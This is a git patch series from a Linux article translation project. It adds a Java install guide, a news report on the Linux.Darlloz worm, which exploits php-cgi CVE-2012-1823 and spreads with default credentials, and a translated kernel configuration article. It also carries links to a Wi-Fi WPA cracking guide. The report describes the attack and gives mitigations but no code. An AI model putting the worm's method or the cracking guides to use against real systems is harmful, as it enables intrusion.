+[5]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[6]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack +[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2011%2F12%2Fresearchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[9]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2012%2F01%2Fhands-on-hacking-wifi-protected-setup-with-reaver.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[10]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[11]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2Fissues%2Fdetail%3Fid%3D44&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[12]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2Fwiki%2Findex.php%2FSupported_Devices&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap +[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt +[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt +[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt +[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router \ No newline at end of file From 39dd0edf892e3f2ae2f91412d3b4141136d0fd8a Mon Sep 17 00:00:00 2001 From: DeadFire Date: Thu, 28 Nov 2013 10:47:41 +0800 Subject: [PATCH 037/148] =?UTF-8?q?20121128-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Java 7 in Elementary OS ‘Luna’ Via PPA.md | 89 +++++++++++++++++++ ... targets Linux PCs and embedded devices.md | 39 ++++++++ 2 files changed, 128 insertions(+) create mode 100644 sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md create mode 100644 sources/This new worm targets Linux PCs and embedded devices.md diff --git a/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md b/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md new file mode 100644 index 0000000000..b64725a9ff --- /dev/null +++ b/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md @@ -0,0 +1,89 @@ +Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA +================================================================================ +**Question**: How can I install Oracle Java 7 in Elemetary OS Luna? + +**Answer**: To install Java 7 in Elementary OS Luna follow the steps below: + +Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** which has various Java packages in it. + +1. Open Terminal. + +2. Run the command below to add Java PPA to your repository: + + $ sudo add-apt-repository ppa:webupd8team/java + + You are about to add the following PPA to your system: + Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html + Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html + More info: https://launchpad.net/~webupd8team/+archive/java + Press [ENTER] to continue or ctrl-c to cancel adding it + +3. Press ENTER to continue + + gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created + gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created + gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com + gpg: /tmp/tmpB5WwDG/trustdb.gpg: trustdb created + gpg: key EEA14886: public key "Launchpad VLC" imported + gpg: Total number processed: 1 + gpg: imported: 1 (RSA: 1) + OK + +4. Now update your system + + $ sudo apt-get update + +5. Install Java 7 by running the command below: + + $ sudo apt-get install oracle-java7-installer + + [sudo] password for enock: + Reading package lists... Done + Building dependency tree + Reading state information... Done + The following packages were automatically installed and are no longer required: + gir1.2-gstreamer-0.10 libilmbase6 libmagickcore4 libmagickwand4 libcdt4 + libmagickcore4-extra liblqr-1-0 imagemagick-common libpathplan4 libopenexr6 + rsync netpbm libgvc5 libnetpbm10 libgraph4 + Use 'apt-get autoremove' to remove them. + The following extra packages will be installed: + gsfonts-x11 java-common + Suggested packages: + default-jre equivs binfmt-support visualvm ttf-baekmuk ttf-unfonts + ttf-unfonts-core ttf-kochi-gothic ttf-sazanami-gothic ttf-kochi-mincho + ttf-sazanami-mincho ttf-arphic-uming + The following NEW packages will be installed: + gsfonts-x11 java-common oracle-java7-installer + 0 upgraded, 3 newly installed, 0 to remove and 196 not upgraded. + Need to get 88.5 kB of archives. + After this operation, 473 kB of additional disk space will be used. + Do you want to continue [Y/n]? + +6. Type **Y** for Yes and Press enter to continue installation. + +7. During the installation, you need to agree to the license to continue. Select **OK**. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask1.png) + +8. Then Select **Yes** to continue. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask2.png) + +9. Now relax for the packages to be downloaded and installed automatically: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-Downloading.png) + +7. Installation has been completed successfully. You can now check the version of Java from the Terminal: + + $ java -version + java version "1.7.0_45" + Java(TM) SE Runtime Environment (build 1.7.0_45-b18) + Java HotSpot(TM) 64-Bit Server VM (build 24.45-b08, mixed mode) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/This new worm targets Linux PCs and embedded devices.md b/sources/This new worm targets Linux PCs and embedded devices.md new file mode 100644 index 0000000000..6ef439a4b3 --- /dev/null +++ b/sources/This new worm targets Linux PCs and embedded devices.md @@ -0,0 +1,39 @@ +This new worm targets Linux PCs and embedded devices +================================================================================ +**The malware spreads by exploiting a 2012 vulnerability in PHP, Symantec researchers said** + +IDG News Service - A new worm is targeting x86 computers running Linux and PHP, and variants may also pose a threat to devices such as home routers and set-top boxes based on other chip architectures. + +According to security researchers from Symantec, the malware spreads by exploiting a vulnerability in php-cgi, a component that allows PHP to run in the Common Gateway Interface (CGI) configuration. The vulnerability is tracked as CVE-2012-1823 and was patched in PHP 5.4.3 and PHP 5.3.13 in May 2012. + +The new worm, which was named Linux.Darlloz, is based on proof-of-concept code released in late October, the Symantec researchers said Wednesday in a [blog post][1]. + +"Upon execution, the worm generates IP [Internet Protocol] addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability," the Symantec researchers explained. "If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target." + +The only variant seen to be spreading so far targets x86 systems, because the malicious binary downloaded from the attacker's server is in ELF (Executable and Linkable Format) format for Intel architectures. + +However, the Symantec researchers claim the attacker also hosts variants of the worm for other architectures including ARM, PPC, MIPS and MIPSEL. + +These architectures are used in embedded devices like home routers, IP cameras, set-top boxes and many others. + +"The attacker is apparently trying to maximize the infection opportunity by expanding coverage to any devices running on Linux," the Symantec researchers said. "However, we have not confirmed attacks against non-PC devices yet." + +The firmware of many embedded devices is based on some type of Linux and includes a Web server with PHP for the Web-based administration interface. These kinds of devices might be easier to compromise than Linux PCs or servers because they don't receive updates very often. + +Patching vulnerabilities in embedded devices has never been an easy task. Many vendors don't issue regular updates and when they do, users are often not properly informed about the security issues fixed in those updates. + +In addition, installing an update on embedded devices requires more work and technical knowledge than updating regular software installed on a computer. Users have to know where the updates are published, download them manually and then upload them to their devices through a Web-based administration interface. + +"Many users may not be aware that they are using vulnerable devices in their homes or offices," the Symantec researchers said. "Another issue we could face is that even if users notice vulnerable devices, no updates have been provided to some products by the vendor, because of outdated technology or hardware limitations, such as not having enough memory or a CPU that is too slow to support new versions of the software." + +To protect their devices from the worm, users are advised to verify if those devices run the latest available firmware version, update the firmware if needed, set up strong administration passwords and block HTTP POST requests to -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4, either from the gateway firewall or on each individual device if possible, the Symantec researchers said. + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122 + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices \ No newline at end of file From 492d5ddebb28328c768cbded564e9edfc1c5a5f1 Mon Sep 17 00:00:00 2001 From: geekpi Date: Thu, 28 Nov 2013 02:50:53 +0000 Subject: [PATCH 038/148] [Translated] 23 The Linux Kernel--Configuring the Kernel Part 19 --- ... Kernel--Configuring the Kernel Part 19.md | 130 ------------------ ... Kernel--Configuring the Kernel Part 19.md | 128 +++++++++++++++++ 2 files changed, 128 insertions(+), 130 deletions(-) delete mode 100644 sources/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md create mode 100644 translated/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md diff --git a/sources/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md b/sources/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md deleted file mode 100644 index 8eb87cbc19..0000000000 --- a/sources/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md +++ /dev/null @@ -1,130 +0,0 @@ -Translating----------------geekpi - - -23 The Linux Kernel: Configuring the Kernel Part 19 -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.626/) - -Aloha and welcome to the next article of the Linux kernel series! We are getting closer to the end of the configuration process. In this article, we will discuss firmware drivers and then the filesystem drivers. - -The first driver in this category is for finding the boot-disk (BIOS Enhanced Disk Drive calls determine boot disk). Sometimes, Linux does not know which drive is the bootable drive. This driver allows the kernel to ask the BIOS. Linux then stores the information on sysfs. Linux needs to know this for setting up bootloaders. - -Even if BIOS EDD services are compiled in the kernel, this option can set such services to be inactive by default (Sets default behavior for EDD detection to off ). EDD stands for Enhanced Disk Drive. - -When using kexec to load a different kernel, performance can be increased by having the firmware provide a memory map (Add firmware-provided memory map to sysfs). - -The "Dell Systems Management Base Driver" gives the Linux kernel better control of the Dell hardware via the sysfs interface. - -The hardware's information can be accessed by the software via /sys/class/dmi/id/ with this driver enabled (Export DMI identification via sysfs to userspace). DMI stands for Desktop Management Interface. The DMI manages the components of the hardware and can access the hardware's data. The structure of the data in the BIOS and hardware is regulated by the System Management BIOS (SMBIOS) specification. - -The raw data tables from the DMI can be accessed with this driver (DMI table support in sysfs). - -To boot from an iSCSI driver, enable this driver (iSCSI Boot Firmware Table Attributes). - -The last firmware driver is a set of "Google Firmware Drivers". These are drivers for Google-specific hardware. Do not enable this driver unless you work for Google and need to use Linux on such hardware or if you are making a Linux kernel for a computer you stole from Google. - -Next, we can configure the file system support of the kernel. - -The "Second extended fs support" driver provides the EXT2 filesystem. [http://www.linux.org/threads/ext-file-system.4365/][1] - -![](http://www.linux.org/attachments/kernel_19-png.627/) - -The "Ext2 extended attributes" offers the ability to use extra metadata not natively supported by the filesystem. - -The "Ext2 POSIX Access Control Lists" driver adds additional permission schemes not native to EXT2. - -The "Ext2 Security Labels" enhances the security provided by SElinux. - -Enabling "Ext2 execute in place support" allows executables to be executed in the current location without being executed using the paged cache. - -The EXT3 filesystem is offered by this driver (Ext3 journaling file system support). [http://www.linux.org/threads/ext-file-system.4365/][2] - -The "Default to 'data=ordered' in ext3" driver sets the data ordering mode to "Ordered". This deals with the way the journaling and writing work. Data ordering is explained in this article - [http://www.linux.org/threads/journal-file-system.4136/][3] - -The "Ext3 extended attributes" offers the ability to use extra metadata not natively supported by the filesystem. Again, the following EXT3 drivers/features are the same as for EXT2 - "Ext3 POSIX Access Control Lists" and "Ext3 Security Labels". Also, the same is true for the following EXT4 drivers/features - "Ext4 POSIX Access Control Lists", "Ext4 Security Labels", and "EXT4 debugging support". - -Journal Block Device debugging is supported by EXT3 (JBD debugging support) and EXT4 (JBD2 debugging support). - -The next driver offers the Reiser filesystem (Reiserfs support). [http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/][4] - -Debugging exists for the Reiser filesystem (Enable reiserfs debug mode). - -The kernel can store ReiserFS statistics in /proc/fs/reiserfs (Stats in /proc/fs/reiserfs). - -The following Reiser drivers/features are the same as the ones for EXT2/3/4 - "ReiserFS extended attributes", "ReiserFS POSIX Access Control Lists", and "ReiserFS Security Labels". - -JFS is also supported by the Linux kernel and includes various features - "JFS filesystem support", "JFS POSIX Access Control Lists", "JFS Security Labels", "JFS debugging", and "JFS statistics". [http://www.linux.org/threads/journaled-file-system-jfs.4404/][5] - -Again, XFS is supported with drivers/features that can be enabled - "XFS filesystem support", "XFS Quota support", "XFS POSIX ACL support", "XFS Realtime subvolume support", and "XFS Debugging support". [http://www.linux.org/threads/xfs-file-system.4364/][6] - -The Global FileSystem 2 is supported by the Linux kernel (GFS2 file system support). This filesystem is used to share storage in a cluster. - -The "GFS2 DLM locking" driver offers a distributed lock manager (DLM) for GFS2. - -The Oracle Cluster FileSystem 2 is supported by the Linux kernel (OCFS2 file system support). This filesystem is used to share storage in a cluster. - -The "O2CB Kernelspace Clustering" driver offers various services for the OCFS2 filesystem. - -The "OCFS2 Userspace Clustering" driver allows the cluster stack to execute in userspace. - -The "OCFS2 statistics" driver allows the user to get statistics concerning the filesystem. - -Like with most of the Linux kernel, the OCFS2 offers logging (OCFS2 logging support). This may be used to watch for errors or for debugging purposes. - -The "OCFS2 expensive checks" driver offers storage consistency checks at the cost of performance. Some Linux users recommend only enabling this feature for debugging purposes. - -The kernel also contains the new B-Tree FileSystem; this driver offers the disk formatter (Btrfs filesystem Unstable disk format). BTRFS is still in development and is planned to one day become as popular or more popular than EXT4. [http://www.linux.org/threads/b-tree-file-system-btrfs.4430/][7] - -The "Btrfs POSIX Access Control Lists" driver adds additional permission schemes not native to BTRFS. - -Next, there is a BTRFS check tool (Btrfs with integrity check tool compiled in (DANGEROUS)). Since, BTRFS is a newly developing filesystem, most of the software associated with it are unstable. - -The NIL-FileSystem is also supported by Linux (NILFS2 file system support). [http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/][8] - -To support the flock() system call used by some filesystems, enable this driver (Enable POSIX file locking API). Disabling this driver will reduce the kernel size by about eleven kilobytes. The driver provides file-locking. File-locking is the process of allowing one process to read a file at a time. This is commonly used with network filesystems like NFS. - -The "Dnotify support" driver is a legacy filesystem notification system that informs the userspace of events on the file system. One use of this and the successor notifications software is to monitor the filesystem for applications. Certain applications tell this daemon what events to watch. Otherwise, each userspace application would need to complete this task themselves. - -Remember, Dnotify is a legacy system, so what is the new notification system? It is Inotify which is provided by this driver (Inotify support for userspace). - -An alternative notification system is fanotify (Filesystem wide access notification). Fanotify is the same as Inotify, but fanotify relays more information to the userspace than Inotify. - -Fanotify can check permissions with this driver enabled (fanotify permissions checking). - -For systems that need to divide the storage space by user will want "Quota support". [http://www.linux.org/threads/atomic-disk-quotas.4277/][9] - -The following driver allows disk quota warnings and messages to be reported through netlink (Report quota messages through netlink interface). Netlink is a socket interface on the userspace that communicates with the kernel. - -Quota messages can also be sent to a console (Print quota warnings to console (OBSOLETE)). - -This driver allows the quota system to perform extra sanity checks (Additional quota sanity checks). In computer technology, a sanity check is the process of checking for errors that may be due to poor programming. The files and output are inspected to ensure the data is what it should be and not structured in some odd fashion. - -Some old system use the old quota system but want to retain the old quota system when upgrading to a newer kernel. This is easily solved by enabling this driver (Old quota format support). Many readers may be wondering why someone would want to keep the old quota system instead of upgrading. Well, imagine being the manager of the IT department of a very large corporation that has many servers running very important tasks. Would you want to create and configure a new (and possibly large) quota system when you can continue using the one that works well? Generally, with computers, follow the principle - If it is not broken or will not cause security issues, do not fix it. - -The newer quota system supports 32-bit UIDs and GIDs with this driver (Quota format vfsv0 and vfsv1 support). - -To automatically mount remote storage units, enable this driver (Kernel automounter version 4 support). - -FUSE filesystems are supported by this driver (FUSE (Filesystem in Userspace) support). Filesystem in Userspace (FUSE) allows any user to create their own filesystem and utilize it in userspace. - -A special extension for FUSE can be used to utilize character devices in userspace (Character device in Userspace support). - -In the next article, we will discuss caches, optical disc filesystems, FAT32 on Linux, and other interesting filesystem topics. Mahalo! - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-19.4929/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.linux.org/threads/ext-file-system.4365/ -[2]:http://www.linux.org/threads/ext-file-system.4365/ -[3]:http://www.linux.org/threads/journal-file-system.4136/ -[4]:http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/ -[5]:http://www.linux.org/threads/journaled-file-system-jfs.4404/ -[6]:http://www.linux.org/threads/xfs-file-system.4364/ -[7]:http://www.linux.org/threads/b-tree-file-system-btrfs.4430/ -[8]:http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/ -[9]:http://www.linux.org/threads/atomic-disk-quotas.4277/ \ No newline at end of file diff --git a/translated/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md b/translated/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md new file mode 100644 index 0000000000..d294270839 --- /dev/null +++ b/translated/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md @@ -0,0 +1,128 @@ +戴文的Linux内核专题：23 配置内核 (19) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.626/) + +欢迎进入Linux内核系列文章的下一篇！我们正在接近配置过程的终点。在这篇文章中，我们将会讨论固件驱动和文件系统驱动。 + +这个分类中的第一个驱动是寻找启动盘(BIOS Enhanced Disk Drive calls determine boot disk)。有时，Linux不会知道那个盘是启动盘。这个驱动允许内核询问BIOS。Linux接着在sysfs上存储信息。Linux需要知道这些来设置bootloader。 + +即使BIOS EDD服务被编译进了内核，这个选项可以设置这些服务不激活(Sets default behavior for EDD detection to off )。EDD代表的是"Enhanced Disk Drive"(增强磁盘驱动器)。 + +当使用kexec加载不同的内核时，性能可以通过固件提供的内存映射提升(Add firmware-provided memory map to sysfs)。 + +"Dell Systems Management Base Driver"通过sysfs接口提供了Linux内核对于Dell硬件的更好的控制。 + +启用这个驱动可以通过/sys/class/dmi/id/访问硬件的信息(Export DMI identification via sysfs to userspace)。DMI代表的是Desktop Management Interface(桌面管理接口)。DMI管理硬件的组件和访问硬件的数据。BIOS中数据的接口和硬件由SMBIOS(System Management BIOS)规范调节。 + +从DMI得到的原始数据表可以通过这个驱动访问(DMI table support in sysfs)。 + +为了从iSCSI驱动器中启动，启用这个驱动(DMI table support in sysfs)。 + +最后的驱动是一组"Google Firmware Drivers"。这些驱动用于Google特定的硬件。除非你为Google工作并且需要在硬件上使用Linux或者你在为一台从Google偷来的电脑编译内核，否则不要启用它。 + +下面，我们可以配置内核的文件系统支持。 + +"Second extended fs support"驱动用于EXT2文件系统。[http://www.linux.org/threads/ext-file-system.4365/][1] + +![](http://www.linux.org/attachments/kernel_19-png.627/) + +"Ext2 extended attributes"提供了原生文件系统不支持的额外的元数据的使用。 + +"Ext2 POSIX Access Control Lists"增加了额外的非原生的权限模型。 + +"Ext2 Security Labels"增强了有SELinux提供的安全性。 + +启用"Ext2 execute in place support"允许可执行文件在当前的位置执行而不必在页缓存中执行。 + +这个驱动提供EXT3文件系统(Ext3 journaling file system support)。 [http://www.linux.org/threads/ext-file-system.4365/][2] + +"Default to 'data=ordered' in ext3"驱动设置数据的排序模式为"Ordered"。这种处理方式为日志和写入工作。数据排序在这篇文章中解释 - [http://www.linux.org/threads/journal-file-system.4136/][3] + +"Ext3 extended attributes"提供了原生文件系统不支持的额外的元数据使用。再说一次，接下来的EXT3的驱动/特性与EXT2相同 - "Ext3 POSIX Access Control Lists" 和 "Ext3 Security Labels"。同样，对接下来的EXT4也是相同的 - "Ext4 POSIX Access Control Lists"、"Ext4 Security Labels" 和 "EXT4 debugging support"。 + +EXT3和EXT4支持日志块设备调试(JBD debugging support)，(JBD2 debugging support)。 + +下面的驱动提供Reiser文件系统支持(Reiserfs support)。 [http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/][4] + +Reiser文件系统也有调试(Enable reiserfs debug mode)。 + +内核可以存储ReiserFS统计在/proc/fs/reiserfs (Stats in /proc/fs/reiserfs)。 + +下面的Reiser驱动/特性与EXT2/3/4相同 - ReiserFS extended attributes", "ReiserFS POSIX Access Control Lists" 和 "ReiserFS Security Labels". + +Linux内核同样支持JFS，同时也包含了不同的特性 "JFS filesystem support"、 "JFS POSIX Access Control Lists"、"JFS Security Labels"、"JFS debugging" 和 "JFS statistics". [http://www.linux.org/threads/journaled-file-system-jfs.4404/][5] + +再说一次,XFS可以通过启用这些驱动/特性支持 - "XFS filesystem support"、"XFS Quota support"、"XFS POSIX ACL support"、"XFS Realtime subvolume support" 和 "XFS Debugging support"。 [http://www.linux.org/threads/xfs-file-system.4364/][6] + +"Global FileSystem 2"可以被内核支持(GFS2 file system support)。这个文件系统用于在集群中共享存储。 + +"GFS2 DLM locking"驱动提供了GFS2的分布式锁管理(DLM) + +"Oracle Cluster FileSystem 2"被内核支持(OCFS2 file system support)。这个文件系统用于在集群中共享存储。 + +"O2CB Kernelspace Clustering"提供了OCFS2文件系统的不同服务。 + +"OCFS2 Userspace Clustering"允许集群栈在用户空间执行。 + +"OCFS2 statistics"驱动允许用户得到关于文件系统的统计信息。 + +像大多树Linux内核一样，OCFS2提供日志(OCFS2 logging support)。这可能被用来监视错误或者调试目的。 + +"OCFS2 expensive checks"驱动以性能为代价提供了存储一致性检测。一些Linux用户建议只有在调试目的在才启用它。 + +Linux内核同样包含了新的B树文件系统；这个驱动提供了磁盘格式化程序(Btrfs filesystem Unstable disk format)。BTRFS仍在开发中并被计划某天变的比EXT4更流行。[http://www.linux.org/threads/b-tree-file-system-btrfs.4430/][7] + +"Btrfs POSIX Access Control Lists"提供了额外的原生BTRFS没有提供的权限模型。 + +下面，是一个BTRFS检测工具(Btrfs with integrity check tool compiled in (DANGEROUS))。由于BTRFS是一个最新在开发中的文件系统，大多数相关软件还并不稳定。 + +Linux系统也支持NIL-FileSystem(NILFS2 file system support)。[http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/][8]。 + +为了支持一些文件系统使用到的flock()系统调用，启用这个驱动(Enable POSIX file locking API)。禁用这个去的那个会减少11KB的内核大小。这个驱动提供了文件锁定。文件锁定是一个允许进程在某刻读取文件的过程。这通常用于网络文件系统，就像NFS。 + +"Dnotify support"驱动是一个古老的文件系统通知系统，它提醒文件系统上的事件的用户空间。它的一个用处和它的继承者被用于监控应用的文件系统。某个应用告诉守护进程需要监视哪些事件。不然，每个用户空间应用需要它们自己完成这个任务。 + +记住，Dnotify是一个古老的系统，那么什么是新的通知系统？它就是由这个驱动提供的Inotify (Inotify support for userspace)。 + +一个可选的通知系统是fanotify (Filesystem wide access notification)。Fanotify与Inotify一样，但是fanotify比Inotify传递更多的信息到用户空间中。 + +用这个驱动Fanotify可以检测权限(fanotify permissions checking)。 + +对于用户想要划分存储空间的系统需要 "Quota support"。 [http://www.linux.org/threads/atomic-disk-quotas.4277/][9] + +接下来的驱动允许通过netlink报告磁盘配额警告和信息(Report quota messages through netlink interface)。netlink是一个用于与内核通信的用户空间的套接字接口。 + +配额信息同样可以发送到控制台(Print quota warnings to console (OBSOLETE))。 + +这个驱动允许配额系统执行额外的完整性检查(Additional quota sanity checks)。在计算机技术中，完整性检查是检测由于不良编程导致的错误。文件和输出都被检查来确保数据正确而不是以奇怪的方式构造。 + +一些旧的系统使用老的配额系统但希望在升级新内核时保留旧的配额系统。可以通过启用这个来容易解决(Old quota format support)。许多读者可能想要知道为什么一些人想要保留旧的配额系统而不是更新新的。好的，想想一下你是一家很大公司的IT部门的经理，公司有许多服务器运行着非常重要的任务。当你可以继续使用现在工作的很好的系统，你想要创建并配置一个新的(也可能很大)的文件系统么？ 通常上，对于计算机，坚持下面的原则 - 如果它没有坏或者不会导致安全问题，不要去修复它。 + +用这个驱动，新的配额系统支持32位UID和GID(Quota format vfsv0 and vfsv1 support)。 + +为了自动挂载远程存储单元，启用这个驱动(Kernel automounter version 4 support)。 + +这个驱动支持FUSE文件系统(FUSE (Filesystem in Userspace) support)。用户空间文件系统(FUSE)支持任何用户创建他们自己的文件系统并在用户空间内使用。 + +一个特殊的FUSE扩展可以用于在用户空间使用字符设备Character device in Userspace support)。 + +In the next article, we will discuss caches, optical disc filesystems, FAT32 on Linux, and other interesting filesystem topics. Mahalo! +下一篇文章中，我们会继续讨论缓存，光盘文件系统，Linux上的FAT32和其他有趣的文件系统话题。谢谢！ + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-19.4929/ + +译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linux.org/threads/ext-file-system.4365/ +[2]:http://www.linux.org/threads/ext-file-system.4365/ +[3]:http://www.linux.org/threads/journal-file-system.4136/ +[4]:http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/ +[5]:http://www.linux.org/threads/journaled-file-system-jfs.4404/ +[6]:http://www.linux.org/threads/xfs-file-system.4364/ +[7]:http://www.linux.org/threads/b-tree-file-system-btrfs.4430/ +[8]:http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/ +[9]:http://www.linux.org/threads/atomic-disk-quotas.4277/ \ No newline at end of file From 25b6a0140b3bef0074d786fde999fb19e9b3ba8b Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Thu, 28 Nov 2013 11:08:42 +0800 Subject: [PATCH 039/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- translated/How to manage Linux server with GUI.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/translated/How to manage Linux server with GUI.md b/translated/How to manage Linux server with GUI.md index b1abd78e62..4e5496503d 100644 --- a/translated/How to manage Linux server with GUI.md +++ b/translated/How to manage Linux server with GUI.md @@ -2,13 +2,13 @@ ================================================================================ 一台典型的linux服务器运行在预先载入了一些基本工具和配置服务的命令行界面环境中。和一些成熟的具有图形界面的桌面软件相比，就安全性、资源消费和速度来说，如此小的配置无疑是一个优点。 